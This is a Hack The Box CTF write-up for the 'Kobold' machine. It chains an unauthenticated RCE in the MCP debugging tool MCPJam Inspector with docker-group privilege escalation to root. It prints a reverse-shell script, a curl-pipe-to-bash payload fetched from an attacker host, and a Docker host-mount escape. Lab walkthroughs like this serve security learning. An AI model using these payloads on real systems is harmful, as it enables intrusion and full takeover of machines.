root@thehacksparrow:~/writeups$ SYSTEM ONLINE
root@sparrow:~/writeups$ cat kobold.md
// writeups

Kobold

21 Mar 2026 · 4 min read
Kobold — Hack The Box machine

Executive summary — Kobold is an Easy Linux machine that chains an unauthenticated RCE in an AI tool (MCPJam Inspector, CVE-2026-23744) with a Docker misconfiguration: the compromised user belongs to a group with access to the Docker socket, which lets us mount the host filesystem inside a container and read it as root. A Web → RCE → Docker → Root path.

PlatformHack The Box
Operating systemLinux
DifficultyEasy
StatusRetired
Target IP<TARGET_IP>

Attack map

[3552] Arcane (Docker UI)   [mcp.kobold.htb] MCPJam Inspector v1.4.2
   │  CVE-2026-23744 → unauthenticated RCE in /api/mcp/connect
   ▼
[SHELL]  reverse shell as  ben@kobold
   │  docker group granted via PAM (pam_group) → sg docker
   ▼
[DOCKER]  docker run -v /:/hostfs --user 0:0  (mount the host)
   │  the Docker socket = indirect root
   ▼
[ROOT]  read /hostfs/root/root.txt  (isolation broken)

1. Reconnaissance

We start with a full port scan with version detection and default scripts:

nmap -sC -sV -p- <TARGET_IP>

Why: -p- scans all 65535 ports (not just the usual 1000), which matters here because the key service is on a high port. -sC -sV add default scripts and versions.

22/tcp   open  ssh
80/tcp   open  http
443/tcp  open  https
3552/tcp open  unknown
8080/tcp open  http-proxy

Analysis: besides the usual web services (80/443), two uncommon ports stand out: 3552 and 8080. That's usually where the interesting stuff lives.

2. Web enumeration

The machine uses virtual hosts, so we map the internal names in /etc/hosts:

echo "<TARGET_IP> kobold.htb mcp.kobold.htb bin.kobold.htb" | sudo tee -a /etc/hosts

We check each front:

  • http://kobold.htb → redirects to HTTPS; nothing obviously useful.
  • http://kobold.htb:3552 → Arcane panel, a Docker management interface.
  • https://mcp.kobold.htb → MCPJam Inspector, with an accessible API. This is the vector.

Why it matters: MCPJam Inspector is a tool for debugging MCP (Model Context Protocol) servers. Version v1.4.2 carries a known public vulnerability.

Note (alternative vector): the Arcane panel on port 3552 also has a known RCE (CVE-2026-23520, Arcane Docker Management ≤ v1.13.0). Here we follow the MCPJam path, but either one gives the foothold.

3. Exploitation — CVE-2026-23744 (unauthenticated RCE)

MCPJam Inspector v1.4.2 is vulnerable to CVE-2026-23744: the /api/mcp/connect endpoint allows command execution without authentication, because it accepts a server configuration where we control the command and its args.

We set up a listener on our attacking machine:

nc -lvnp 4444

And a small reverse shell script that we'll serve over HTTP:

#!/bin/bash
bash -i >& /dev/tcp/<ATTACKER_IP>/4444 0>&1
python3 -m http.server 8000

We fire the exploit at the endpoint, telling it to run /bin/sh to download and run our script:

curl -k -X POST https://mcp.kobold.htb/api/mcp/connect \
  -H "Content-Type: application/json" \
  -d '{
    "serverId": "test",
    "serverConfig": {
      "command": "/bin/sh",
      "args": ["-c", "curl http://<ATTACKER_IP>:8000/shell.sh | bash"]
    }
  }'

What happens: the server runs command + args verbatim; our string pulls shell.sh from our server and pipes it to bash, which opens the reverse shell back to the listener.

Result — shell as the user ben:

ben@kobold:~$

4. Stabilise the shell

A basic reverse shell has no TTY (no tab-completion, no clean Ctrl+C). We upgrade it:

python3 -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm

5. User flag

cat /home/ben/user.txt

6. Internal enumeration

First thing after landing a user: check which groups it belongs to.

id
uid=1001(ben) gid=1001(ben) groups=1001(ben),37(operator)

The key detail: the docker group does not appear in this id. Even so, the box grants ben the docker group through a PAM rule (the pam_group module, configured in /etc/security/group.conf). Since our shell comes from the RCE and not from a full PAM login, that group isn't reflected in this session's id — but it's granted at the system level and we can activate it.

7. Privilege escalation (docker group via PAM)

Why the docker group = root: the Docker daemon runs as root and listens on a Unix socket. Anyone who can talk to that socket can launch containers that mount host paths and act as root over them. Being in the docker group (or holding the socket) is equivalent to being root: there is no real isolation against whoever controls Docker.

We activate the docker group that PAM grants us with sg docker (or, interactively, newgrp docker) and confirm we can now talk to the daemon:

sg docker -c "docker ps"
IMAGE                                    ...
privatebin/nginx-fpm-alpine:2.0.2        ...

We reuse that image already present on the host to start a container as root (--user 0:0) mounting the entire host root (-v /:/hostfs). That lets us read the root flag directly:

sg docker -c "docker run --rm --user 0:0 -v /:/hostfs \
  --entrypoint /bin/sh privatebin/nginx-fpm-alpine:2.0.2 \
  -c 'cat /hostfs/root/root.txt'"

What each part does: -v /:/hostfs mounts the host root inside the container; --user 0:0 makes us root inside; --entrypoint /bin/sh -c ... runs the command. Since the container runs as root and the host is mounted, we read /root/root.txt with no restrictions.

If instead of just the flag we want a full root shell on the host, we start the container interactively and chroot into the mounted filesystem:

sg docker -c "docker run --rm -it --user 0:0 -v /:/hostfs \
  --entrypoint /bin/sh privatebin/nginx-fpm-alpine:2.0.2"
# now inside the container (root):
chroot /hostfs /bin/bash

8. Root flag

With the root shell on the host (or directly with the earlier cat) we read the flag:

cat /root/root.txt

System fully compromised. 🏴‍☠️

Vulnerability summary

PhaseComponentVulnerabilityImpact
RCEMCPJam Inspector v1.4.2CVE-2026-23744 (unauthenticated RCE in /api/mcp/connect)Command execution → shell as ben
PrivEscDocker (group via PAM)docker group granted by PAM (pam_group); Docker socket = root; container mounting the host /Root on the host

Lessons learned

  • API endpoints are critical targets: a «connect to a server» feature that runs commands with client-supplied parameters is direct RCE.
  • Docker access = root access: being in the docker group (or holding the socket) is equivalent to root. And note: here the group was granted via PAM (pam_group) and didn't show up in id — a dangerous permission that's easy to miss in an audit.
  • AI tooling attack surface: MCP tooling is new and ships new vulnerabilities; patch it like any other software.
  • You don't always need the kernel: a single misconfiguration is enough for full compromise, no complex exploits required.